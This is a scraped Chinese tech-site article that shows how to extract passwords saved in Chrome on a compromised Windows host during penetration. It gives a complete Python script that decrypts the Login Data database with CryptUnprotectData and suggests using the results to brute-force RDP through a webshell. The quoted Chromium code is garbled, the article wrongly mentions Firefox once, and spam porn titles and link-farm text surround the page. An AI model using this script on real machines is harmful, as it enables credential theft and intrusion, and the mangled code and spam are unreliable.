成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

密碼破解之Chrome瀏覽器存儲密碼獲取

原創
安全 數據安全
在我們實戰滲透內網過程中,經常會因為各種各樣的密碼破解問題而發愁。相對于外網來說,內網安全是較為脆弱的,因為大量的密碼被重復使用,而如何獲得這些非常有價值的密碼,很可能就是一次滲透能否成功的關鍵。

在我們實戰滲透內網過程中,經常會因為各種各樣的密碼破解問題而發愁。相對于外網來說,內網安全是較為脆弱的,因為大量的密碼被重復使用,而如何獲得這些非常有價值的密碼,很可能就是一次滲透能否成功的關鍵。

[[163716]]

我們來詳細分析一下,如何針對火狐瀏覽器自動保存的密碼進行獲取,并完成相應的程序編寫。

一、關于Chrome瀏覽器密碼存儲機制:

谷歌瀏覽器加密后的密鑰存儲于%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data”(這里的APPDATA是由系統or用戶環境變量決定的)下的一個SQLite數據庫中。那么他是如何加密的呢,通過開源的Chromium,我們來一探究竟:

首先,我們作為用戶登錄一個網站時,會在表單提交Username以及Password相應的值,Chrome會首先判斷此次登錄是否是一次成功的登錄,部分判斷代碼如下:

  1. Provisional_save_manager_->SubmitPassed();  
  2.     if (provisional_save_manager_->HasGeneratedPassword())  
  3.         UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”, 1);  
  4.     If (provisional_save_manager_->IsNewLogin() && !provisional_save_manager_->HasGeneratedPassword()){  
  5.         Delegate_->AddSavePasswordInfoBarIfPermitted(  
  6.         Provisional_save_manager_.release());  
  7. else {  
  8. provisional_save_manager_->Save();  
  9. Provisional_save_manager_.reset();  
  10. }  

當我們登錄成功時,并且使用的是一套新的證書(也就是說是***次登錄該網站),Chrome就會詢問我們是否需要記住密碼。

那么登錄成功后,密碼是如何被Chrome存儲的呢?

答案在EncryptedString函數,通過調用EncryptString16函數,代碼如下:

  1. Bool Encrypt::EncryptString(const std::string& plaintext,std::string* ciphertext) {  
  2.     DATA_BLOB input;  
  3.     Input.pbData = static_cast<DWORD>(plaintext.length());  
  4.       
  5.     DATA_BLOB output;  
  6.     BOOL result = CryptProtectData(&input, L””,NULLNULLNULL, 0,&output);  
  7.     If (!result)  
  8.         Return false;  
  9. //復制操作  
  10. Ciphertext->assign(reinterpret_cast<std::string::value_type*>(output.pbData);  
  11.  
  12. LocalFree(output.pbData);  
  13. Return true;  
  14. }  

代碼***利用了Widows API函數CryptProtectData(請記住這個函數,因為后面會提到它)來加密。當我們擁有證書時,密碼就會被回復給我們使用。

在我們得到服務器權限后,證書的問題已經不用考慮了,所以下一步,我們解決如何獲得這些密碼。

二、編寫腳本跑出Chrome瀏覽器保存的密碼

因為考慮到在大多數情況下,并不能遠程登錄到服務器上執行GUI的程序,所以做個Python腳本跑一下是***選擇,唯一的缺點是如果WINDOWS不支持PYTHON環境,Python打包成EXE文件的話會比較大。

下面考慮代碼部分,因為用戶不同所在用戶的文件夾就不同,需要知道LOGIN DATA文件的具體路徑,所以我們需要python中的os.environ從環境變量中讀取LOCALAPPDATA的路徑,剩下的路徑是谷歌默認生成。

獲取LOGINDATA文件的寫法為:

  1. google_path = r’ Google\Chrome\User Data\Default\Login Data’  
  2. file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path)  
  3.  
  4. #Login Data文件可以利用python中的sqlite3庫來操作。  
  5. conn = sqlite3.connect(file_path)  
  6. for row in conn.execute('select username_value, password_value, signon_realm from logins'):  
  7. #利用Win32crpt.CryptUnprotectData來對通過加密的密碼進行解密操作。  
  8.     cursor = conn.cursor()  
  9. cursor.execute('select username_value, password_value, signon_realm from logins')  
  10.  
  11. #接收全部返回結果  
  12. for data in cursor.fetchall():  
  13. passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)  
  14. #利用win32crypt.CryptUnprotectData解密后,通過輸出passwd這個元組中內容,可以逐一得到Chrome瀏覽器存儲的密碼。  

這里我們用到了CryptUnprotectData這個函數,與之對應的是我們上文提到的CryptProtectData,理論上來說CryptProtectData加密的文本內容,都可以通過CryptUnprotectData函數來解密。對其他服務的解密方式,大家可以自行嘗試。

三、完成實驗腳本

腳本完整代碼如下:

  1. #coding:utf8  
  2. import os, sys  
  3. import sqlite3  
  4. import win32crypt  
  5.  
  6.  
  7. google_path = r'Google\Chrome\User Data\Default\Login Data' 
  8.  
  9.  
  10. db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)  
  11. conn = sqlite3.connect(db_file_path)  
  12. cursor = conn.cursor()  
  13. cursor.execute('select username_value, password_value, signon_realm from logins')  
  14.  
  15. #接收全部返回結果  
  16. for data in cursor.fetchall():  
  17.     passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)  
  18.       
  19.     if passwd:  
  20.         print '-------------------------' 
  21.         print u'[+]用戶名: ' + data[0]   
  22.         print u'[+]密碼: ' + passwd[1]   
  23.         print u'[+]網站URL: ' + data[2]  

效果如下:

密碼破解之Chrome瀏覽器存儲密碼獲取 

當然,在取得服務器webshell的情況下,如果有執行權限但無法提權,可以利用這種方法挖掘密碼,進而再利用社工思路對服務器RDP服務密碼進行暴力破解。

如果Webshell不能回顯,可以用類似getpass一樣的方式,導出到文本中。

Python chrome.py > 1.txt

(提示:導出過程中,輸出中文可能會報錯,建議換成英文導出。)

注意:在用戶打開Chrome時,Login Data文件是被上鎖的,如果這時想要對其進行讀取操作,可以將Login Data文件復制到臨時目錄進行讀取操作。

責任編輯:藍雨淚 來源: 51CTO.com
相關推薦

2013-07-25 14:17:17

2012-12-06 14:34:16

2025-02-13 10:28:17

數據泄露Chrome谷歌

2017-02-08 14:30:08

Chrome密碼瀏覽器

2018-01-30 15:16:26

2018-01-15 15:40:59

2011-12-09 10:17:07

2021-07-27 10:15:57

瀏覽器NPM包Chrome web

2023-07-13 07:07:17

2021-01-27 11:01:21

密碼保護工具微軟瀏覽器

2021-05-25 14:08:28

微軟Edge瀏覽器

2009-11-26 10:55:41

2010-01-28 10:13:43

2018-04-13 11:14:42

2015-01-21 15:45:50

斯巴達瀏覽器

2021-12-30 21:50:01

Redline密碼管理瀏覽器

2011-12-28 14:13:52

2012-08-28 10:19:55

2023-03-13 00:19:43

2010-08-30 14:10:08

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 日本不卡一区 | 国产小网站 | 欧美1区 | 欧美一区二区三区在线 | 91精品国产日韩91久久久久久 | 国产 亚洲 网红 主播 | 日本二区在线观看 | 中文字幕日韩欧美一区二区三区 | 久草热8精品视频在线观看 午夜伦4480yy私人影院 | 国产一区二区在线免费视频 | 亚洲高清av| 亚洲成人一区二区 | 97精品国产一区二区三区 | 日本精品一区二区三区在线观看视频 | 羞羞视频在线观看免费观看 | 自拍视频一区二区三区 | 一二区视频 | 精品久久久网站 | 91精品无人区卡一卡二卡三 | 日韩成人精品一区二区三区 | 成人做爰www免费看视频网站 | 污免费网站 | 天天操天天拍 | 国产日韩久久 | 亚洲视频免费 | 久久久久久免费毛片精品 | 青青草原综合久久大伊人精品 | 欧美色综合 | 中文字幕在线观看精品 | 一区二区三区精品在线 | 日本精品视频 | 一区日韩| 国产一区二区三区在线免费观看 | 国产成人精品一区二区三区在线观看 | 午夜精品一区二区三区在线观看 | 98久久 | 中文字幕日韩欧美 | 精品国产一区二区三区久久 | 日韩另类视频 | 国产日韩欧美一区二区 | 国产精品久久久久久久久久免费看 |